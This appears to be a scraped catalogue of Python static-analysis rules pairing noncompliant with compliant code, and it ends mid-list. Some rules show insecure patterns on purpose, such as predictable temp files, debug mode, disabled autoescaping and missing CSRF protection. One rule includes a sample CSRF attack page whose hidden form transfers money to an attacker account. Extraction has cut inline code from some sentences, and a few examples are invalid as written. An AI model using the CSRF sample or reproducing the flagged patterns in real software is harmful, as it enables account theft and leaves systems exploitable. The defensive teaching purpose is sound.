||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S101 |
Shared coding conventions allow teams to collaborate effectively. This rule allows to check that all class names match a provided regular expression. The default regular expression is based on PEP-8 standard. It allows "CapWords" convention and "snake_case" in lowercase. The "snake_case" convention is accepted by PEP-8 when the class is primarily used as a callable (ex: decorator, context manager, etc...). However the "CapWords" convention is recommended in every case. Noncompliant Code ExampleWith default provided regular expression class myClass: # Noncompliant ... class my_CONTEXT_manager: # Noncompliant def __enter__(self): pass def __exit__(self, type, value, traceback): pass Compliant Solutionclass MyClass: ... class my_context_manager: def __enter__(self): pass def __exit__(self, type, value, traceback): pass |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5445 |
Creating temporary files using insecure methods exposes the application to race conditions on filenames: a malicious user can try to create a file with a predictable name before the application does. A successful attack can result in other files being accessed, modified, corrupted or deleted. This risk is even higher if the application run with elevated permissions. In the past, it has led to the following vulnerabilities: Noncompliant Code Exampleimport tempfile filename = tempfile.mktemp() # Noncompliant tmp_file = open(filename, "w+") Compliant Solutionimport tempfile tmp_file1 = tempfile.NamedTemporaryFile(delete=False) # Compliant; Easy replacement to tempfile.mktemp() tmp_file2 = tempfile.NamedTemporaryFile() # Compliant; Created file will be automatically deleted See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5720 |
Instance methods, i.e. methods not annotated with Naming the "self" parameter differently is confusing. It might also indicate that the "self" parameter was forgotten, in which case calling the method will most probably fail. Note also that creating methods which are used as static methods without the This rule raises an issue when the first parameter of an instance method is not called "self". Noncompliant Code Exampleclass MyClass: def send_request(request): # Noncompliant. "self" was probably forgotten print("send_request") class ClassWithStaticMethod: def static_method(param): # Noncompliant print(param) ClassWithStaticMethod().static_method(42) # Method is available on the instance but calling it will raise a TypeError Compliant Solutionclass MyClass: def send_request(self, request): print("send_request") class ClassWithStaticMethod: @staticmethod def static_method(param): print(param) ClassWithStaticMethod().static_method(42) ExceptionsThis rule will also accept "cls" or "mcs" as first parameter's name for metaclasses' methods. No issue will be raised for methods called You can also disable issues on methods decorated with a specific decorator. Add these decorators to this rule's "ignoreDecorators" parameter. With "ignoredDecorators" set to "abstractmethod" from abc import abstractmethod, ABC class MyClass(ABC): @abstractmethod def method(): # No issue, even if it is better in this case to also decorate with @staticmethod pass See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:FileComplexity |
Most of the time, a very complex file breaks the Single Responsibility Principle and should be re-factored into several different files. DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5685 |
The walrus operator This rule raises an issue when the walrus operator is used in a way which makes the code confusing, as described in PEP 572. Noncompliant Code Example# using an assignment expression (:=) as an assignment statement (=) is more explicit (v := f(p)) # Noncompliant v0 = (v1 := f(p)) # Noncompliant # using an assignment expression in a function call when keyword arguments are also used. func(a=(b := f(p))) # Noncompliant func(a := f(p), b=2) # Noncompliant def func(param=(p := 21)): # Noncompliant pass # using an assignment expression in an annotation def func(param: (p := 21) = 3): # Noncompliant pass # using assignment expression in an f-string. Character ":" is also used as a formatting marker in f-strings. f'{(x:=10)}' # Noncompliant f'{x:=10}' # No issue raised but still not recommended. This is not an assignment expression. '=10' is passed to the f-string formatter. Compliant Solutionv = f(p) v0 = v1 = f(p) value = f(p) func(a=value) func(value, b=2) def func(param=21): p = 21 p = 21 def func(param: p = 3): pass x = 10 f'{x}' See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5443 |
Operating systems have global directories where any user have write access. Those folders are mostly used as temporary storage areas like
In the past, it has led to the following vulnerabilities: This rule raises an issue whenever it detects a hard-coded path to a publicly writable directory like
Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Examplefile = open("/tmp/temporary_file","w+") # Sensitive tmp_dir = os.environ.get('TMPDIR') # Sensitive file = open(tmp_dir+"/temporary_file","w+") Compliant Solutionimport tempfile file = tempfile.TemporaryFile(dir="/tmp/my_subdirectory", mode='"w+") # Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:InequalityUsage |
The forms Noncompliant Code Examplereturn a <> b # Noncompliant Compliant Solutionreturn a != b |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5603 |
When a class or function is defined in a parent function or method, it is only visible in this parent function or method's scope. If the defined class or function is not used within this scope it is dead code, i.e. unnecessary, inoperative code that should be removed. Cleaning out dead code decreases the size of the maintained codebase, making it easier to understand the program and preventing bugs from being introduced. Noncompliant Code Exampledef noncompliant(): def nested_function(): # Noncompliant print("nested_function") class NestedClass: # Noncompliant def __init__(self): print("NestedClass") Compliant Solutiondef compliant(): def nested_function(): print("nested_function") class NestedClass: def __init__(self): print("NestedClass") nested_function() NestedClass() |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5724 |
Property getter, setter and deleter methods are called by the python interpreter with a specific number or arguments:
Adding any other parameter, or removing these mandatory parameters will make method calls fail. This rule raises an issue when:
Noncompliant Code Exampleclass A: @property def foo(self, unexpected, unexpected2): # Noncompliant. Too many parameters. return self._foo @foo.setter def foo(self, value, unexpected): # Noncompliant. Too many parameters. self._foo = value @foo.deleter def foo(self, unexpected): # Noncompliant. Too many parameters. del self._foo class B: def get_foo(self, unexpected): # Noncompliant. Too many parameters. return self._foo def set_foo(self, value, unexpected): # Noncompliant. Too many parameters. self._foo = value def del_foo(self, unexpected): # Noncompliant. Too many parameters. del self._foo foo = property(get_foo, set_foo, del_foo, "'foo' property.") Compliant Solutionclass A: @property def foo(self): return self._foo @foo.setter def foo(self, value): self._foo = value @foo.deleter def foo(self): del self._foo class B: def get_foo(self): return self._foo def set_foo(self, value): self._foo = value def del_foo(self): del self._foo foo = property(get_foo, set_foo, del_foo, "'foo' property.") See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1763 |
Jump statements ( Noncompliant Code Exampledef fun(a): i = 10 return i + a # Noncompliant i += 1 # this is never executed Compliant Solutiondef fun(a): i = 10 return i + a See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5722 |
Python developers can customize how code is interpreted by defining special methods (also called magic methods). For example, it is possible to
override how the multiplication operator ( The python interpreter will always call these methods with the same number of parameters. Every call to a special method will fail if it is defined with an unexpected number of parameters. This rule raises an issue when a special method is defined with an unexpected number of parameters. Noncompliant Code Exampleclass A: def __mul__(self, other, unexpected): # Noncompliant. Too many parameters return 42 def __add__(self): # Noncompliant. Missing one parameter return 42 A() * 3 # TypeError: __mul__() missing 1 required positional argument: 'unexpected' A() + 3 # TypeError: __add__() takes 1 positional argument but 2 were given Compliant Solutionclass A: def __mul__(self, other): return 42 def __add__(self, other): return 42 A() * 3 A() + 3 See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1764 |
Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of bitwise operators and most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified. Note that this rule will raise issues on Noncompliant Code Exampleif a == a: # Noncompliant work() if a != a: # Noncompliant work() if a == b and a == b: # Noncompliant work() if a == b or a == b: # Noncompliant work() j = 5 / 5 # Noncompliant k = 5 - 5 # Noncompliant ExceptionsThe following are ignored:
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1192 |
Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences. On the other hand, constants can be referenced from many places, but only need to be updated in a single place. Noncompliant Code ExampleWith the default threshold of 3: def run(): prepare("this is a duplicate") # Noncompliant - "this is a duplicate" is duplicated 3 times execute("this is a duplicate") release("this is a duplicate") Compliant SolutionACTION_1 = "action1" def run(): prepare(ACTION_1) execute(ACTION_1) release(ACTION_1) ExceptionsNo issue will be raised on:
@app.route("/api/users/", methods=['GET', 'POST', 'PUT']) def users(): pass @app.route("/api/projects/", methods=['GET', 'POST', 'PUT']) # Compliant def projects(): pass |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5717 |
In Python function parameters can have default values. These default values are expressions which are executed when the function is defined, i.e. only once. The same default value will be used every time the function is called, thus modifying it will have an effect on every subsequent call. This can create some very confusing bugs. It is also a bad idea to store mutable default value in another object (ex: as an attribute). Multiple instances will then share the same value and modifying one objet will modify all of them. This rule raises an issue when:
Noncompliant Code ExampleIn the following example, the parameter "param" has def myfunction(param=list()): # Noncompliant. param.append('a') # modification of the default value. return param print(myfunction()) # returns ['a'] print(myfunction()) # returns ['a', 'a'] print(myfunction()) # returns ['a', 'a', 'a'] In the following example the same list is used for multiple instances of MyClass.param. class MyClass: def __init__(self, param=list()): # Noncompliant. self.param = param # The same list is used for every instance of MyClass def process(self, value): self.param.append(value) # modifying the same list a1, a2 = (MyClass(), MyClass()) a1.process("value") print(a1.param) # ['value'] print(a2.param) # ['value'] Compliant Solutiondef myfunction(param=None): if param is None: param = list() param.append('a') return param print(myfunction()) # returns ['a'] print(myfunction()) # returns ['a'] print(myfunction()) # returns ['a'] class MyClass: def __init__(self, param=None): if param is None: self.param = list() else: self.param = param def process(self, value): self.param.append(value) a1, a2 = (MyClass(), MyClass()) a1.process("value") print(a1.param) # ['value'] print(a2.param) # [] ExceptionsIn some very rare cases modifying a default value is ok. For example, default values can be used as a cache. No issue will be raised when the parameter's name contains "cache" or "memo" (as in memoization). See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S4507 |
Delivering code in production with debug features activated is security-sensitive. It has led in the past to the following vulnerabilities: An application's debug features enable developers to find bugs more easily and thus facilitate also the work of attackers. It often gives access to detailed information on both the system running the application and users. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesDo not enable debug features on production servers. Sensitive Code ExampleDjango from django.conf import settings settings.configure(DEBUG=True) # Sensitive when set to True settings.configure(DEBUG_PROPAGATE_EXCEPTIONS=True) # Sensitive when set to True def custom_config(config): settings.configure(default_settings=config, DEBUG=True) # Sensitive Django's "settings.py" or "global_settings.py" configuration file # NOTE: The following code raises issues only if the file is named "settings.py" or "global_settings.py". This is the default # name of Django configuration file DEBUG = True # Sensitive DEBUG_PROPAGATE_EXCEPTIONS = True # Sensitive See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2208 |
Importing every public name from a module using a wildcard (
Remember that imported names can change when you update your dependencies. A wildcard import which works today might be broken tomorrow. There are two ways to avoid a wildcard import:
Noncompliant Code Examplefrom math import * # Noncompliant def exp(x): pass print(exp(0)) # "None" will be printed Compliant Solutionimport math def exp(x): pass print(math.exp(0)) # "1.0" will be printed Or from math import exp as m_exp def exp(x): pass print(m_exp(0)) # "1.0" will be printed ExceptionsNo issue will be raised in No issue will be raised in modules doing only imports. Local modules are sometimes created as a proxy for third-party modules. # file: mylibrary/pyplot.py try: from guiqwt.pyplot import * # Ok except Exception: from matplotlib.pyplot import * # Ok Just keep in mind that wildcard imports might still create issues in these cases. It's always better to import only what you need. See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5439 |
Template engines have an HTML autoescape mechanism that protects web applications against most common cross-site-scripting (XSS) vulnerabilities. By default, it automatically replaces HTML special characters in any template variables. This secure by design configuration should not be globally disabled. Escaping HTML from template variables prevents switching into any execution context, like A successful exploitation of a cross-site-scripting vulnerability by an attacker allow him to execute malicious JavaScript code in a user's web browser. The most severe XSS attacks involve:
This rule supports the following libraries: Noncompliant Code Examplefrom jinja2 import Environment env = Environment() # Noncompliant; New Jinja2 Environment has autoescape set to false env = Environment(autoescape=False) # Noncompliant Compliant Solutionfrom jinja2 import Environment env = Environment(autoescape=True) # Compliant See
DeprecatedThis rule is deprecated; use S5247 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5714 |
The only two possible types for an This rule raises an issue when the expression used in an Noncompliant Code Exampletry: raise TypeError() except ValueError or TypeError: # Noncompliant print("Catching only ValueError") except ValueError and TypeError: # Noncompliant print("catching only TypeError") except (ValueError or TypeError) as exception: # Noncompliant print("Catching only ValueError") foo = ValueError or TypeError # foo == ValueError foo = ValueError and TypeError # foo == TypeError Compliant Solutiontry: raise TypeError() except (ValueError, TypeError) as exception: print("Catching all exceptions") See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1515 |
Nested functions and lambdas can reference variables defined in enclosing scopes. This can create tricky bugs when the variable and the function are defined in a loop. If the function is called in another iteration or after the loop finishes, it will see the variables' last value instead of seeing the values corresponding to the iteration where the function was defined. Capturing loop variables might work for some time but:
One solution is to add a parameter to the function/lambda and use the previously captured variable as its default value. Default values are only executed once, when the function is defined, which means that the parameter's value will remain the same even when the variable is reassigned in following iterations. Another solution is to pass the variable as an argument to the function/lambda when it is called. This rule raises an issue when a function or lambda references a variable defined in an enclosing loop. Noncompliant Code Exampledef run(): mylist = [] for i in range(5): mylist.append(lambda: i) # Noncompliant def func(): return i # Noncompliant mylist.append(func) def example_of_api_change(): """" Passing loop variable as default values also makes sure that the code is future-proof. For example the following code will work as intended with python 2 but not python 3. Why? because "map" behavior changed. It now returns an iterator and only executes the lambda when required. The same is true for other functions such as "filter". """ lst = [] for i in range(5): lst.append(map(lambda x: x + i, range(3))) # Noncompliant for sublist in lst: # prints [4, 5, 6] x 4 with python 3, with python 2 it prints [0, 1, 2], [1, 2, 3], ... print(list(sublist)) Compliant Solutiondef run(): mylist = [] for i in range(5): mylist.append(lambda i=i: i) # passing the variable as a parameter with a default value def func(i=i): # same for nested functions return i mylist.append(func) def example_of_api_change(): """" This will work for both python 2 and python 3. """ lst = [] for i in range(5): lst.append(map(lambda x, value=i: x + value, range(3))) # Passing "i" as a default value for sublist in lst: print(list(sublist)) ExceptionsNo issue will be raised if the function or lambda is directly called in the same loop. This still makes the design difficult to understand but it is less error prone. def function_called_in_loop(): for i in range(10): print((lambda param: param * i)(42)) # Calling the lambda directly def func(param): return param * i print(func(42)) # Calling "func" directly See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:PrintStatementUsage |
The Noncompliant Code Exampleprint '1' # Noncompliant Compliant Solutionprint('1') |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5719 |
Every instance method is expected to have at least one positional parameter. This parameter will reference the object instance on which the method is called. Calling an instance method which doesn't have at least one parameter will raise a "TypeError". By convention, this first parameter is usually named "self". Class methods, i.e. methods annotated with This rule raises an issue when an instance of class method does not have at least one positional parameter. Noncompliant Code Exampleclass MyClass: def instance_method(): # Noncompliant. "self" parameter is missing. print("instance_method") @classmethod def class_method(): # Noncompliant. "cls" parameter is missing. print("class_method") Compliant Solutionclass MyClass: def instance_method(self): print("instance_method") @classmethod def class_method(cls): print("class_method") @staticmethod def static_method(): print("static_method") See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5796 |
Identity operators When a new object is created it will have its own identity. Thus if an object is created and used only in an identity check it is not possible for
the other operand to be the same object. The comparison is always This rule raises an issue when at least one operand of an identity operator is a new object which has been created just for this check, i.e.:
Noncompliant Code Exampledef func(param): param is {1: 2} # Noncompliant; always False param is not {1, 2, 3} # Noncompliant; always True param is [1, 2, 3] # Noncompliant; always False param is dict(a=1) # Noncompliant; always False mylist = [] # mylist is assigned a new object param is mylist # Noncompliant; always False Compliant Solutiondef func(param): param == {1: 2} param != {1, 2, 3} param == [1, 2, 3] param == dict(a=1) mylist = [] param == mylist See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5797 |
When a constant is used as a condition, either it has no effect on the execution flow and it can be removed, or some code will never be executed and it is a bug. This rule raises an issue when a constant expression is used as a condition in an Noncompliant Code Exampledef func(param = None): param = (1,) if param: # Noncompliant. var is always set to (1,), the first branch of the if will always execute. return sum(param) else: return None var2 = 1 if func else 2 # Noncompliant. "func" will always be equivalent to True. var3 = func and 1 else 2 # Noncompliant. Compliant Solutiondef func(param = None): if param is None: param = (1,) if param: return sum(param) else: return None var2 = 1 if func() else 2 var3 = func() and 1 else 2 See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1110 |
The use of parentheses, even those not required to enforce a desired order of operations, can clarify the intent behind a piece of code. But redundant pairs of parentheses could be misleading, and should be removed. Noncompliant Code Examplereturn ((3)) # Noncompliant return ((x + 1)) # Noncompliant x = ((y / 2)) + 1 # Noncompliant Compliant Solutionreturn 3 return (3) return x + 1 return (x + 1) x = y / 2 + 1 x = (y / 2) + 1 |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5795 |
Identity operators Integers, bytes, floats, strings, frozensets and tuples should not be compared with identity operators because the result may not be as expected.
If you need to compare these types you should use instead equality operators The CPython interpreter caches certain builtin values for integers, bytes, floats, strings, frozensets and tuples. For example, the literal
The only case where using the "is" operator with a cached type is ok is with "interned" strings. Note however that interned strings don't necessarily have the same identity as string literals. This rule raises an issue when at least one operand of an identity operator:
Noncompliant Code Exampledef literal_comparison(param): param is 2000 # Noncompliant literal_comparison(2000) # will return True literal_comparison(int("2000")) # will return False () is tuple() # Noncompliant. Always True (1,) is tuple([1]) # Noncompliant. Always False from sys import intern with open("test.txt") as f: # test.txt contains "blabla\n" text = f.read() intern(text) is "blabla\n" # Noncompliant. Always False Compliant Solutiondef literal_comparison(param): param == 2000 literal_comparison(2000) # will return True literal_comparison(int("2000")) # will return True () == tuple() # Always True (1,) == tuple([1]) # Always True from sys import intern with open("tmp/test.txt") as f: # test.txt contains "blabla\n" text = f.read() intern(text) is intern("blabla\n") # Always True See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S4502 |
CSRF vulnerabilities occur when attackers can trick a user to perform sensitive authenticated operations on a web application without his consent. <body onload="document.forms[0].submit()"> <form> <form action="http://mybank.com/account/transfer_money" method="POST"> <input type="hidden" name="accountNo" value="attacker_account_123456"/> <input type="hidden" name="amount" value="10000"/> <input type="submit" value="Steal money"/> </form> If an user visits the attacker's website which contains the above malicious code, his bank account will be debited without his consent and notice. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleFor a Django application, the code is sensitive when,
MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] # Sensitive: django.middleware.csrf.CsrfViewMiddleware is missing
@csrf_exempt # Sensitive def example(request): return HttpResponse("default") For a Flask application, the code is sensitive when,
app = Flask(__name__) app.config['WTF_CSRF_ENABLED'] = False # Sensitive
app = Flask(__name__) # Sensitive: CSRFProtect is missing @app.route('/') def hello_world(): return 'Hello, World!'
app = Flask(__name__) csrf = CSRFProtect() csrf.init_app(app) @app.route('/example/', methods=['POST']) @csrf.exempt # Sensitive def example(): return 'example '
class unprotectedForm(FlaskForm): class Meta: csrf = False # Sensitive name = TextField('name') submit = SubmitField('submit') Compliant SolutionFor a Django application,
MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', # Compliant 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ]
def example(request): # Compliant return HttpResponse("default") For a Flask application,
app = Flask(__name__) csrf = CSRFProtect() csrf.init_app(app) # Compliant
@app.route('/example/', methods=['POST']) # Compliant def example(): return 'example ' class unprotectedForm(FlaskForm): class Meta: csrf = True # Compliant name = TextField('name') submit = SubmitField('submit') See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5712 |
In Python, special methods corresponding to numeric operators, rich comparison operators and the For example This rule raises an issue when one of the following methods raises
Noncompliant Code Exampleclass MyClass: def __add__(self, other): raise NotImplementedError() # Noncompliant def __radd__(self, other): raise NotImplementedError() # Noncompliant class MyOtherClass: def __add__(self, other): return 42 def __radd__(self, other): return 42 MyClass() + MyOtherClass() # This will raise NotImplementedError Compliant Solutionclass MyClass: def __add__(self, other): return NotImplemented def __radd__(self, other): return NotImplemented class MyOtherClass: def __add__(self, other): return 42 def __radd__(self, other): return 42 MyClass() + MyOtherClass() # This returns 42 See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1871 |
Having two branches in the same Noncompliant Code Exampleif 0 <= a < 10: do_first() do_second() elif 10 <= a < 20: do_the_other_thing() elif 20 <= a < 50: do_first() # Noncompliant; duplicates first condition do_second() ExceptionsBlocks in an if 0 <= a < 10: do_first() elif 10 <= a < 20: do_the_other_thing() elif 20 <= a < 50: do_first() # no issue, usually this is done on purpose to increase the readability But this exception does not apply to if 0 <= a < 10: do_first() elif 20 <= a < 50: do_first() # Noncompliant, this might have been done on purpose but probably not |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2201 |
When the call to a function doesn't have any side effects, what is the point of making the call if the results are ignored? In such case, either the function call is useless and should be dropped or the source code doesn't behave as expected. This rule raises an issue when a builtin function or methods which has no side effects is called and its result is not used. Noncompliant Code Examplemyvar = "this is a multiline" "message from {}".format(sender) # Noncompliant. The formatted string is not used because the concatenation is not done properly. Compliant Solutionmyvar = ("this is a multiline" "message from {}".format(sender)) ExceptionsNo issue will be raised when the function or method call is in a def tryExcept(): d = {} try: d[1] except IndexError as e: pass try: divmod(1, 0) except ZeroDivisionError as e: pass See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1751 |
A loop with at most one iteration is equivalent to the use of an At worst that was not the initial intention of the author and so the body of the loop should be fixed to use the nested Noncompliant Code Examplewhile node is not None: node = node.parent() print(node) break Compliant Solutionwhile node is not None: node = node.parent() print(node) |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5713 |
Repeating an exception class in a single Having a subclass and a parent class in the same This rule raises an issue when an exception class is duplicated in an Noncompliant Code Exampletry: raise NotImplementedError() except (NotImplementedError, RuntimeError): # Noncompliant. NotImplementedError inherits from RuntimeError print("Foo") try: raise NotImplementedError() except (RuntimeError, RuntimeError): # Noncompliant. print("Foo") Compliant Solutiontry: raise NotImplementedError() except RuntimeError: print("Foo") See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2325 |
Class methods that don't access instance data can and should be static because they yield more performant code. To implement a static method in Python one should use either Noncompliant Code Exampleclass Utilities: def do_the_thing(self, arg1, arg2, ...): # Noncompliant #... Compliant Solutionclass Utilities: @classmethod def do_the_thing(cls, arg1, arg2, ...): #... or class Utilities: @staticmethod def do_the_thing(arg1, arg2, ...): #... ExceptionsMethods which raise or may raise a |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S3776 |
Cognitive Complexity is a measure of how hard the control flow of a function is to understand. Functions with high Cognitive Complexity will be difficult to maintain. See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5799 |
Python concatenates adjacent string or byte literals at compile time. It means that
Noncompliant Code Exampledef func(): return "item1" "item2" # Noncompliant ["1", "2" # Noncompliant "3", "a very very very" # Noncompliant "very very long string", "4"] Compliant Solutiondef func(): return "item1", "item2" ["1", "2", "3", "a very very very" + "very very long string", "4"] ExceptionsNo issue will be raised when there is a visible reason for the string concatenation:
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S5953 |
Variables, Classes and functions should not be undefined, otherwise the code will fail with a NameError. Noncompliant Code Examplemy_var # Noncompliant (variable is never defined) def noncompliant(): foo() # Noncompliant MyClass() # Noncompliant Compliant Solutionfrom mod import my_var my_var def compliant(): foo = sum foo() class MyClass: pass MyClass() |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2190 |
Recursion happens when control enters a loop that has no exit. This can happen when a method invokes itself or when a pair of methods invoke each
other. It can be a useful tool, but unless the method includes a provision to break out of the recursion and Noncompliant Code Exampledef my_pow(num, exponent): # Noncompliant num = num * my_pow(num, exponent - 1) return num # this is never reached Compliant Solutiondef my_pow(num, exponent): # Compliant if exponent > 1: num = num * my_pow(num, exponent - 1) return num |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S117 |
Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when a local variable or function parameter name does not match the provided regular expression. ExceptionsLoop counters are ignored by this rule. for i in range(limit): # Compliant print(i) |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:ExecStatementUsage |
Use of the Noncompliant Code Exampleexec 'print 1' # Noncompliant Compliant Solutionexec('print 1') |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S116 |
Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule allows to check that field names match a provided regular expression. Noncompliant Code ExampleWith the default regular expression class MyClass: myField = 1 Compliant Solutionclass MyClass: my_field = 1 |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S113 |
Some tools such as Git work better when files end with an empty line. This rule simply generates an issue if it is missing. For example, a Git diff looks like this if the empty line is missing at the end of the file: <pre> +class Test: + pass \ No newline at end of file </pre> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:ClassComplexity |
The cyclomatic complexity of a class should not exceed a defined threshold. Complex code can perform poorly and will in any case be difficult to understand and therefore to maintain. DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S1700 |
It's confusing to have a class member with the same name (case differences aside) as its enclosing class. This is particularly so when you consider the common practice of naming a class instance for the class itself. Best practice dictates that any field or member with the same name as the enclosing class be renamed to be more descriptive of the particular aspect of the class it represents or holds. Noncompliant Code Exampleclass Foo: foo = '' def getFoo(self): ... foo = Foo() foo.getFoo() # what does this return? Compliant Solutionclass Foo: name = '' def getName(self): ... foo = Foo() foo.getName() |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
python:S2755 |
